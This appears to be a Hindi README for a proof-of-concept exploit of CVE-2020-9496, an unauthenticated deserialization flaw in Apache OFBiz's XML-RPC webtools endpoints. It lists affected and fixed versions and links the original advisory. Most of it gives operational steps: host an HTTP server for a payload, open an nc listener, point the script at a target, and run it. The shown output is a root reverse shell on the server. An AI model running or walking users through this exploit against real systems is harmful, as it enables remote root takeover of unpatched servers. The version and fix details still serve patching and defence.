CVE-2020-9496

चूंकि वेबटूल्स में 2 xmlrpc से संबंधित अनुरोध (xmlrpc और ping) प्रमाणीकरण का उपयोग नहीं कर रहे हैं, वे असुरक्षित डिसीरियलाइज़ेशन के लिए संवेदनशील हैं।
यह समस्या GitHub Security Lab टीम के Alvaro Munoz [email protected] द्वारा सुरक्षा टीम को सूचित की गई थी।

प्रभावित संस्करण 17.12.01

सुधारित संस्करण 18.12.01, 17.12.04

मूल ब्लॉग: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Apache का पोस्ट: https://issues.apache.org/jira/browse/OFBIZ-11716
Github का POC: https://github.com/g33xter/CVE-2020-9496

इस एक्सप्लॉइट को काम करने के लिए, आपको निम्नलिखित चरणों का पालन करना होगा:

चरण 1: python3 के साथ HTTP सेवा होस्ट करें

> sudo python3 -m http.server 80

चरण 2: वांछित पोर्ट पर nc लिसनर चलाएँ (अनुशंसित 8001)

> nc -nlvp 8001

चरण 3: स्क्रिप्ट के अंदर वेबसाइट का URL और पोर्ट बदलें:

url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

चरण 4: नीचे दिखाए अनुसार एक्सप्लॉइट चलाएँ

> ./cve-2020-9496.sh -i IP -p PORT

चरण 5: nc लिसनर जाँचें

❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#